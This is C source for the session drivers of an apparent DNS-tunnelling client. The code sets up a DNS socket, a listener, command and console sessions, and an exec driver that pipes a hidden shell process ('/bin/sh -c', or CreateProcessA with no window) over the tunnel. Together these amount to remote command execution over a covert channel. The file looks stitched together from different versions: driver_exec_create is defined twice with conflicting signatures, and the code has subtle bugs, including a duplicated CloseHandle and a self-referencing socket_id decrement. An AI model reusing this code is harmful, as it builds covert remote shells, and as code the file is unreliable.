driver_listener_t *driver_listener_create(select_group_t *group, char *host, int port, char *name)
{
driver_listener_t *driver = (driver_listener_t*) safe_malloc(sizeof(driver_listener_t));
driver->group = group;
driver->host = host;
driver->port = port;
/* Subscribe to the messages we care about. */
message_subscribe(MESSAGE_SESSION_CLOSED, handle_message, driver);
message_subscribe(MESSAGE_DATA_IN, handle_message, driver);
message_subscribe(MESSAGE_SHUTDOWN, handle_message, driver);
driver->s = tcp_listen(driver->host, driver->port);
if(!driver->s)
{
LOG_FATAL("Failed to listen on %s:%d", driver->host, driver->port);
exit(1);
}
/* On Linux, the stdin_handle is easy. */
select_group_add_socket(driver->group, driver->s, SOCKET_TYPE_LISTEN, driver);
select_set_listen(driver->group, driver->s, listener_accept);
select_set_closed(driver->group, driver->s, listener_closed);
return driver;
}
driver_exec_t *driver_exec_create(select_group_t *group, char *process)
{
driver_exec_t *driver_exec = (driver_exec_t*) safe_malloc(sizeof(driver_exec_t));
driver_exec->process = process;
driver_exec->group = group;
/* Subscribe to the messages we care about. */
message_subscribe(MESSAGE_START, handle_message, driver_exec);
message_subscribe(MESSAGE_SESSION_CREATED, handle_message, driver_exec);
message_subscribe(MESSAGE_DATA_IN, handle_message, driver_exec);
return driver_exec;
}
driver_dns_t *driver_dns_create(select_group_t *group, char *domain, dns_type_t type)
{
driver_dns_t *driver_dns = (driver_dns_t*) safe_malloc(sizeof(driver_dns_t));
/* Create the actual DNS socket. */
LOG_INFO("Creating UDP (DNS) socket");
driver_dns->s = udp_create_socket(0, "0.0.0.0");
if(driver_dns->s == -1)
{
LOG_FATAL("Couldn't create UDP socket!");
exit(1);
}
/* Set the domain and stuff. */
driver_dns->domain = domain;
driver_dns->type = type;
/* If it succeeds, add it to the select_group */
select_group_add_socket(group, driver_dns->s, SOCKET_TYPE_STREAM, driver_dns);
select_set_recv(group, driver_dns->s, recv_socket_callback);
select_set_closed(group, driver_dns->s, dns_data_closed);
/* Subscribe to the messages we care about. */
message_subscribe(MESSAGE_PACKET_OUT, handle_message, driver_dns);
/* TODO: Do I still need this? */
message_post_config_int("max_packet_length", MAX_DNSCAT_LENGTH(driver_dns->domain));
return driver_dns;
}
driver_command_t *driver_command_create(select_group_t *group, char *name)
{
driver_command_t *driver = (driver_command_t*) safe_malloc(sizeof(driver_command_t));
message_options_t options[3];
/* TODO: Find a way to name this using uname or the hostname or something. */
driver->name = name ? name : "command session";
driver->stream = command_packet_stream_create(TRUE);
driver->group = group;
/* Subscribe to the messages we care about. */
message_subscribe(MESSAGE_DATA_IN, handle_message, driver);
options[0].name = "name";
options[0].value.s = driver->name;
options[1].name = "is_command";
options[1].value.i = TRUE;
options[2].name = NULL;
driver->session_id = message_post_create_session(options);
return driver;
}
driver_console_t *driver_console_create(select_group_t *group, char *name, char *download, int first_chunk)
{
driver_console_t *driver = (driver_console_t*) safe_malloc(sizeof(driver_console_t));
message_options_t options[4];
#ifdef WIN32
/* On Windows, the stdin_handle is quite complicated, and involves a sub-thread. */
HANDLE stdin_handle = get_stdin_handle();
select_group_add_pipe(group, -1, stdin_handle, driver);
select_set_recv(group, -1, console_stdin_recv);
select_set_closed(group, -1, console_stdin_closed);
#else
/* On Linux, the stdin_handle is easy. */
int stdin_handle = STDIN_FILENO;
select_group_add_socket(group, stdin_handle, SOCKET_TYPE_STREAM, driver);
select_set_recv(group, stdin_handle, console_stdin_recv);
select_set_closed(group, stdin_handle, console_stdin_closed);
#endif
driver->name = name ? name : "[unnamed console]";
driver->download = download;
driver->first_chunk = first_chunk;
/* Subscribe to the messages we care about. */
message_subscribe(MESSAGE_DATA_IN, handle_message, driver);
options[0].name = "name";
options[0].value.s = driver->name;
if(driver->download)
{
options[1].name = "download";
options[1].value.s = driver->download;
options[2].name = "first_chunk";
options[2].value.i = driver->first_chunk;
}
else
{
options[1].name = NULL;
}
options[3].name = NULL;
driver->session_id = message_post_create_session(options);
return driver;
}
driver_exec_t *driver_exec_create(select_group_t *group, char *process, char *name)
{
driver_exec_t *driver_exec = (driver_exec_t*) safe_malloc(sizeof(driver_exec_t));
message_options_t options[2];
/* Declare some WIN32 variables needed for starting the sub-process. */
#ifdef WIN32
STARTUPINFOA startupInfo;
PROCESS_INFORMATION processInformation;
SECURITY_ATTRIBUTES sa;
#endif
driver_exec->process = process;
driver_exec->group = group;
driver_exec->name = name ? name : process;
/* Subscribe to the messages we care about. */
message_subscribe(MESSAGE_DATA_IN, handle_message, driver_exec);
/* Set up the session options and create the session. */
options[0].name = "name";
options[0].value.s = driver_exec->name;
options[1].name = NULL;
driver_exec->session_id = message_post_create_session(options);
#ifdef WIN32
/* Create a security attributes structure. This is required to inherit handles. */
ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
/* Create the anonymous pipes. */
if(!CreatePipe(&driver_exec->exec_stdin[PIPE_READ], &driver_exec->exec_stdin[PIPE_WRITE], &sa, 0))
DIE("exec: Couldn't create pipe for stdin");
if(!CreatePipe(&driver_exec->exec_stdout[PIPE_READ], &driver_exec->exec_stdout[PIPE_WRITE], &sa, 0))
DIE("exec: Couldn't create pipe for stdout");
fprintf(stderr, "Attempting to load the program: %s\n", driver_exec->process);
/* Initialize the STARTUPINFO structure. */
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
startupInfo.cb = sizeof(STARTUPINFO);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = driver_exec->exec_stdin[PIPE_READ];
startupInfo.hStdOutput = driver_exec->exec_stdout[PIPE_WRITE];
startupInfo.hStdError = driver_exec->exec_stdout[PIPE_WRITE];
/* Initialize the PROCESS_INFORMATION structure. */
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
/* Create the actual process with an overly-complicated CreateProcess function. */
if(!CreateProcessA(NULL, driver_exec->process, 0, &sa, TRUE, CREATE_NO_WINDOW, 0, NULL, &startupInfo, &processInformation))
{
fprintf(stderr, "Failed to create the process");
exit(1);
}
/* Save the process id and the handle. */
driver_exec->pid = processInformation.dwProcessId;
driver_exec->exec_handle = processInformation.hProcess;
/* Close the duplicate pipes we created -- this lets us detect the proicess termination. */
CloseHandle(driver_exec->exec_stdin[PIPE_READ]);
CloseHandle(driver_exec->exec_stdout[PIPE_WRITE]);
CloseHandle(driver_exec->exec_stdout[PIPE_WRITE]);
fprintf(stderr, "Successfully created the process!\n\n");
/* Create a socket_id value - this is a totally arbitrary value that's only used so we can find this entry later. */
driver_exec->socket_id = --driver_exec->socket_id;
/* On Windows, add the sub-process's stdout as a pipe. */
select_group_add_pipe(driver_exec->group, driver_exec->socket_id, driver_exec->exec_stdout[PIPE_READ], driver_exec);
select_set_recv(driver_exec->group, driver_exec->socket_id, exec_callback);
select_set_closed(driver_exec->group, driver_exec->socket_id, exec_closed_callback);
#else
LOG_INFO("Attempting to start process '%s'...", driver_exec->process);
/* Create communication channels. */
if(pipe(driver_exec->pipe_stdin) == -1)
{
LOG_FATAL("exec: couldn't create pipe (%d)", errno);
exit(1);
}
if(pipe(driver_exec->pipe_stdout) == -1)
{
LOG_FATAL("exec: couldn't create pipe (%d)", errno);
exit(1);
}
driver_exec->pid = fork();
if(driver_exec->pid == -1)
{
LOG_FATAL("exec: couldn't create process (%d)", errno);
exit(1);
}
/* If we're in the child process... */
if(driver_exec->pid == 0)
{
/* Copy the pipes. */
if(dup2(driver_exec->pipe_stdin[PIPE_READ], STDIN_FILENO) == -1)
nbdie("exec: couldn't duplicate STDIN handle");
if(dup2(driver_exec->pipe_stdout[PIPE_WRITE], STDOUT_FILENO) == -1)
nbdie("exec: couldn't duplicate STDOUT handle");
if(dup2(driver_exec->pipe_stdout[PIPE_WRITE], STDERR_FILENO) == -1)
nbdie("exec: couldn't duplicate STDERR handle");
/* Execute the new process. */
execlp("/bin/sh", "sh", "-c", driver_exec->process, (char*) NULL);
/* If execlp returns, bad stuff happened. */
LOG_FATAL("exec: execlp failed (%d)", errno);
exit(1);
}
LOG_WARNING("Started: %s (pid: %d)", driver_exec->process, driver_exec->pid);
close(driver_exec->pipe_stdin[PIPE_READ]);
close(driver_exec->pipe_stdout[PIPE_WRITE]);
/* Add the sub-process's stdout as a socket. */
select_group_add_socket(driver_exec->group, driver_exec->pipe_stdout[PIPE_READ], SOCKET_TYPE_STREAM, driver_exec);
select_set_recv(driver_exec->group, driver_exec->pipe_stdout[PIPE_READ], exec_callback);
select_set_closed(driver_exec->group, driver_exec->pipe_stdout[PIPE_READ], exec_closed_callback);
#endif
return driver_exec;
}
